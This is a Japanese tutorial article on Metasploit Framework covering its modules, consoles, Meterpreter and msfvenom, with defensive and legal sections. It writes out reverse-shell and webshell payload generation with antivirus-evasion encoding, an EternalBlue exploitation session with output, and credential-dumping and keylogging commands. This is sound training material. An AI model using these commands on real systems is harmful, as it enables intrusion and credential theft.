Metasploit Framework とは — 使い方とペンテスト活用 のサムネイル

Metasploit Framework とは — 使い方とペンテスト活用

⏱ 約 16 分 view 105 like 0 LOG_DATE:2026-05-09
目次 / TOC

Metasploit Framework #

Metasploit Framework は、ペネトレーションテスト・脆弱性検証のために作られた オープンソースの攻撃フレームワークである。攻撃者の視点でシステムの脆弱性を発見・実証し、防御側がリスクを定量化・対策できるようにすることを目的としている。世界中のセキュリティ研究者・レッドチーム・教育機関で標準的に使われており、Kali Linux に標準搭載されている。

1. Metasploit の歴史 #

1.1 HD Moore による誕生 (2003) #

2003 年、HD Moore が個人プロジェクトとして開発を開始。当初は Perl で書かれた小さなツールキットで、既知の脆弱性を素早く検証するための「攻撃コードのライブラリ」として設計された。

当時は脆弱性 PoC が散在しており、それぞれが独自の起動方法・引数・出力を持っていたため、研究者は同じ作業を繰り返していた。Metasploit は「統一されたインターフェースから扱う」という発想でこの問題を解決した。

1.2 Ruby への書き直し (2007) #

バージョン 3.0 で Ruby に全面リライト。Perl 版より拡張しやすく、モジュール体系・データベース統合・Meterpreter (後述) の基盤がここで整備された。OSS コミュニティの貢献が増加し、独立したエコシステムが育った。

1.3 Rapid7 による買収 (2009) #

2009 年、米国の脆弱性管理ベンダー Rapid7 が Metasploit Project を買収。Framework (OSS 版) は BSD ライセンス相当でオープン継続、商用版 Metasploit Pro / Express はエンタープライズ向け機能 (GUI、自動化、レポート、フィッシング等) を加えて販売される構造に。

1.4 現在 #

OSS 版 (Framework) は GitHub 上で活発に開発が続いており、新しい CVE が公開されるたびに対応モジュールが追加される。Kali Linux に標準搭載されており、SANS や OSCP などの主要資格試験でも実技対象となっている。

2. Metasploit のアーキテクチャ #

Metasploit は単一のバイナリではなく、複数のコンポーネントが連携するフレームワーク。

2.1 主要コンポーネント #

コンポーネント 役割
msfconsole 対話的シェル。最もよく使われる UI。
msfvenom ペイロード生成専用ツール (旧 msfpayload + msfencode を統合)。
msfdb PostgreSQL を起動し、ホスト・サービス・脆弱性情報を Metasploit に統合する DB 管理スクリプト。
msfrpcd RPC デーモン。プログラマブルに Metasploit を呼び出すための API。Cobalt Strike 等が利用。
msfupdate モジュール定義の更新 (近年の Kali では apt update で代替)。

2.2 モジュール体系 #

すべての機能は モジュール として実装され、/usr/share/metasploit-framework/modules/ 配下に配置される。

種別 役割
exploit 脆弱性を悪用してリモートでコード実行する exploit/windows/smb/ms17_010_eternalblue
auxiliary スキャナー・ファザー・リスナー等、コード実行を伴わない補助機能 auxiliary/scanner/portscan/tcp
payload 攻撃成功後にターゲットで動作するコード windows/x64/meterpreter/reverse_tcp
post 侵入後の後処理 (情報収集・横展開・永続化) post/windows/gather/credentials/credential_collector
encoder ペイロードを変換し、AV のシグネチャ検出を回避 x86/shikata_ga_nai
nop NOP スレッド生成 x86/single_byte
evasion アンチ AV 機能を組み込んだペイロード生成 windows/windows_defender_exe

3. 基本ワークフロー #

Metasploit を使ったペネトレーションテストの典型的な流れ。

1. 偵察 (Reconnaissance)
   ├── nmap などで開放ポートを把握
   └── サービスバージョンを特定 (Apache 2.4.49 など)

2. 脆弱性検索 (Vulnerability Identification)
   └── search apache 2.4.49

3. モジュール選択
   └── use exploit/multi/http/apache_normalize_path_rce

4. パラメータ設定
   ├── set RHOSTS 192.168.56.50
   ├── set LHOST 192.168.56.106
   └── set PAYLOAD linux/x64/meterpreter/reverse_tcp

5. 実行
   └── exploit (または run)

6. 後処理 (Post-exploitation)
   ├── sysinfo / getuid / hashdump
   ├── 別ホストへの横展開 (autoroute, pivoting)
   └── 永続化 (persistence)

7. 撤収・痕跡消去
   └── 演習環境では cleanup を忘れずに

4. 主要モジュールタイプ詳細 #

4.1 exploit #

脆弱性そのものを悪用するコア。use で選択し、必要なオプション (RHOSTS, ターゲット OS など) を set してから exploit で実行する。

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > show options
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.56.50
msf6 exploit(ms17_010_eternalblue) > exploit

4.2 auxiliary #

コード実行を伴わない補助機能。スキャナー (port scan, version detection)、ブルートフォース、認証チェック、リスナー (Phishing 用 HTTP/SMB サーバー等) を含む。

msf6 > use auxiliary/scanner/smb/smb_version
msf6 auxiliary(smb_version) > set RHOSTS 192.168.56.0/24
msf6 auxiliary(smb_version) > run

4.3 payload #

侵入後にターゲット上で動作するコード。3 つの構造を取る。

  • single (inline): ペイロードがそのまま動作する単一バイナリ。サイズが大きいが安定。
  • stager: 小さな初期コード。ネットワーク越しに本体 (stage) をダウンロードしてから実行する。バッファサイズに制約のある exploit で使う。
  • stage: stager がロードする本体。Meterpreter など複雑な機能を持つ。

種類:

  • windows/shell/reverse_tcp — 古典的なリバースシェル
  • windows/x64/meterpreter/reverse_tcp — フル機能の Meterpreter
  • cmd/unix/reverse_python — Python ワンライナーのリバースシェル
  • linux/x64/meterpreter/reverse_https — HTTPS で偽装した Meterpreter (FW 通過しやすい)

4.4 post #

侵入後の作業を自動化するモジュール群。

  • post/windows/gather/credentials/credential_collector — 各種クレデンシャル収集
  • post/multi/recon/local_exploit_suggester — ローカル特権昇格の候補を列挙
  • post/windows/manage/migrate — 親プロセスを変えて検出回避

4.5 encoder #

ペイロードのバイト列を変換して AV シグネチャを回避する。x86/shikata_ga_nai (シカタガナイ) は最も有名。ただし現代の AV は静的シグネチャだけでなくサンドボックス・ヒューリスティックで検出するため、エンコーダーだけで回避するのは困難。

4.6 evasion #

近年追加された、AV 回避を最初から組み込んだ exe 生成系のモジュール (windows/windows_defender_exe 等)。

5. msfconsole の主要コマンド #

# 検索
search ms17_010
search type:exploit platform:windows author:zerosum0x0

# モジュール選択と離脱
use exploit/windows/smb/ms17_010_eternalblue
back                    # ひとつ戻る
use 0                   # search 結果のインデックス指定

# モジュール情報
info
show options
show targets
show payloads

# パラメータ
set RHOSTS 192.168.56.50
set LHOST eth0           # インターフェース名でも OK
setg LHOST 10.0.2.4      # 永続的にすべてのモジュールへ

# 実行
exploit                  # フォアグラウンド実行
exploit -j -z            # バックグラウンド (-j: job 化、-z: セッション直後に開かない)
run                      # exploit と同義 (auxiliary でよく使う)

# セッション管理
sessions -l              # 一覧
sessions -i 1            # ID=1 にアタッチ
background (or Ctrl+Z)   # 現在のセッションを保留してコンソールに戻る
sessions -K              # すべてのセッションを切断

# job 管理
jobs -l
jobs -K                  # 全 job kill

# データベース連携 (msfdb init を事前に)
workspace -a redteam     # ワークスペース作成
db_nmap -sS 192.168.56.0/24
hosts                    # 発見したホスト一覧
services                 # サービス一覧
vulns                    # 脆弱性候補
loot                     # 取得したファイル

# その他
help [command]
banner                   # バナー再表示
exit / quit

6. Meterpreter #

Meterpreter は Metasploit の独自ペイロードで、Disk 上にファイルを残さずメモリ上で動作する ステルス性の高いシェル代替。Windows / Linux / macOS / Android で動作する。

6.1 特徴 #

  • メモリ常駐: 実行ファイルをディスクに書き込まず、reflective DLL injection 等で動作するため AV による検出が難しい
  • 暗号化通信: stager の後、本体は AES で暗号化された通信を行う
  • モジュラ拡張: 動作中に追加機能 (stdapi, priv, kiwi) をロードできる
  • クロスプラットフォーム: 同じコマンドセットが OS 横断で使える

6.2 主要コマンド #

# システム情報
sysinfo                  # OS、アーキテクチャ等
getuid                   # 現在のユーザー
getpid                   # PID
ps                       # プロセス一覧

# 特権昇格 (Windows)
getsystem                # SYSTEM への昇格を試行
hashdump                 # SAM のハッシュ取得 (要 SYSTEM)
load kiwi                # mimikatz を Meterpreter 内で利用可能に
kiwi_cmd "sekurlsa::logonpasswords"

# ファイル操作
ls / pwd / cd
download remote.txt
upload local.exe C:\\Windows\\Temp\\

# プロセス操作
migrate <PID>            # 別プロセスに自身を移植 (検知回避・特権変更)
execute -f cmd.exe -i    # コマンド実行 (-i で対話)

# キャプチャ
screenshot               # スクリーンショット
keyscan_start            # キーロガー開始
keyscan_dump             # キャプチャしたキー入力を表示
keyscan_stop

# ネットワーク
ipconfig
netstat
portfwd add -l 3389 -p 3389 -r 10.0.0.5    # ローカルポート転送
run autoroute -s 10.0.0.0/24                # 内部ネットワークへの経路追加 (ピボット)

# シェル
shell                    # ネイティブシェル (cmd/sh) を起動
exit                     # 戻る (シェル) / 切断 (Meterpreter)

6.3 Pivoting (横展開) #

侵入したホストを踏み台にして内部ネットワークへ攻撃を広げる手法。Meterpreter の autoroute を使えば、その後のスキャンや exploit が侵入済みホスト経由で自動的にルーティングされる。

meterpreter > run autoroute -s 10.0.0.0/24

msf6 > use auxiliary/scanner/portscan/tcp
msf6 auxiliary(tcp) > set RHOSTS 10.0.0.5
msf6 auxiliary(tcp) > run    # ← 侵入済みホスト経由で 10.0.0.5 をスキャン

7. msfvenom — ペイロード生成 #

スタンドアロンのペイロード生成ツール。Metasploit Framework に付属する。

7.1 基本構文 #

msfvenom -p <payload> [options] -f <format> [-o output_file]

主要オプション:

  • -p <payload>: ペイロード名 (例 windows/x64/meterpreter/reverse_tcp)
  • -l <type>: 利用可能なペイロード/エンコーダー/フォーマットを列挙
  • LHOST=, LPORT=: リバース接続先 (オプションは = で渡す、set ではなく)
  • -f <format>: 出力フォーマット (exe, elf, raw, asp, php, python など)
  • -e <encoder>: エンコーダー (例 x86/shikata_ga_nai)
  • -i <count>: エンコード反復回数
  • -b <bad chars>: 除外バイト (例 \x00\x0a\x0d)
  • -o <file>: 出力先

7.2 実例 #

# Windows 用 reverse TCP exe
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=192.168.56.106 LPORT=4444 \
    -f exe -o shell.exe

# Linux ELF
msfvenom -p linux/x64/meterpreter/reverse_tcp \
    LHOST=192.168.56.106 LPORT=4444 \
    -f elf -o shell.elf

# PHP webshell
msfvenom -p php/meterpreter/reverse_tcp \
    LHOST=192.168.56.106 LPORT=4444 \
    -f raw -o shell.php

# シェルコード (バッファオーバーフロー実験用)
msfvenom -p linux/x86/shell_reverse_tcp \
    LHOST=192.168.56.106 LPORT=4444 \
    -b '\x00\x0a\x0d' \
    -f c

# AV 回避を試みる (5 回エンコード)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
    LHOST=192.168.56.106 LPORT=443 \
    -e x86/shikata_ga_nai -i 5 \
    -f exe -o shell.exe

7.3 ペイロードを受け取る (handler) #

生成したペイロードがリバース接続してくるのを待つには multi/handler を起動。

msf6 > use exploit/multi/handler
msf6 exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(handler) > set LHOST 192.168.56.106
msf6 exploit(handler) > set LPORT 4444
msf6 exploit(handler) > exploit -j      # バックグラウンドで listen

8. 実例: EternalBlue (MS17-010) #

2017 年に WannaCry ランサムウェアで使われた SMB v1 の脆弱性。Windows 7 / Server 2008 R2 など未パッチ機への定番演習。

msf6 > use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue) > set RHOSTS 192.168.56.50
msf6 exploit(ms17_010_eternalblue) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue) > set LHOST 192.168.56.106
msf6 exploit(ms17_010_eternalblue) > set LPORT 4444
msf6 exploit(ms17_010_eternalblue) > check     # 脆弱性の事前検証

[+] 192.168.56.50:445 - Host is likely VULNERABLE to MS17-010!

msf6 exploit(ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.56.106:4444
[*] 192.168.56.50:445 - ...exploitation successful...
[*] Sending stage (200774 bytes) to 192.168.56.50
[*] Meterpreter session 1 opened (192.168.56.106:4444 -> 192.168.56.50:49158)

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM    ← 一発で SYSTEM が取れる
meterpreter > sysinfo
Computer        : DC01
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : ja_JP
Domain          : LAB
Logged On Users : 2
Meterpreter     : x64/windows

実際の演習環境 (例: HackTheBox の Blue、OSCP のラボマシン) で頻繁に登場する。

9. 防御側から見た Metasploit #

Metasploit は攻撃ツールである一方、防御側にとっては最高の検証ツールでもある。

9.1 シグネチャ検出 #

Metasploit が生成するペイロードは AV ベンダに広く解析されており、エンコーダーをかけても 大半のエンドポイント保護製品は静的検出 + 動作解析で阻止する。実環境では msfvenom 直生成のバイナリは「すぐに検知される」ものとして扱う必要がある。

回避には以下のような技術が使われるが、いずれも完全な保証はない:

  • カスタムローダー: パッカーやシェルコード loader を自作
  • C2 framework: Cobalt Strike, Sliver, Mythic 等の商用・OSS フレームワークが Metasploit より洗練された回避を行う
  • LotL (Living off the Land): 既存の正規バイナリ (PowerShell, mshta.exe 等) を悪用

9.2 ネットワーク検出 #

Meterpreter のリバース接続は IDS/IPS シグネチャで検出される (Suricata の Emerging Threats ルールセット等)。HTTPS MeterpreterDNS exfiltration で検出回避が試みられるが、TLS-MITM 環境や DNS ログ集約があれば暴かれる。

9.3 防御の指針 #

  • 既知 CVE を放置しない (Metasploit の exploit モジュールは既知 CVE 対象が大半)
  • エンドポイント保護 (EDR) を最新に保つ
  • SMBv1 / LLMNR / NetBIOS 等の古い機能を無効化
  • Privilege Access Management (LAPS、JIT 管理者) で横展開を阻止
  • ログ集約 (SIEM) で異常な PowerShell 実行・新規プロセスを検知

10. 倫理と法的留意事項 #

Metasploit は強力なツールであり、他者のシステムに対して許可なく実行することは犯罪行為である。日本では不正アクセス禁止法、刑法 (電子計算機損壊等業務妨害罪) に抵触する可能性がある。

利用は次の範囲に限定すること:

  • 自分が管理する環境 (自宅 LAN、自作 VM、HackTheBox や VulnHub などの演習環境)
  • 書面で事前許可を得たペネトレーションテスト (依頼主と契約書を交わす)
  • CTF: 主催者が明示的に攻撃を許可している場面のみ

「PoC を試したいから」「友達のサーバーで試した」「会社の同僚の PC を権限昇格してみた」などはすべてアウト。倫理的にも法的にもクリーンな環境で運用することが、長くこの分野で活動する前提となる。

11. まとめ #

  • Metasploit Framework は オープンソースのペネトレーションテストフレームワーク。HD Moore 発、Rapid7 が引き継いで現在も活発に開発されている
  • 機能は モジュール (exploit / auxiliary / payload / post / encoder / nop / evasion) として体系化
  • msfconsole が中心 UI、msfvenom が独立ペイロード生成、msfdb が DB 統合
  • Meterpreter はメモリ常駐のステルスシェルで、migrate hashdump autoroute 等の強力な後処理コマンドを提供
  • 防御側にとっては「自社環境で同じツールを動かして検知できるか」を確認する 最高の検証ツールでもある
  • 倫理と法律: 許可された環境でのみ使うこと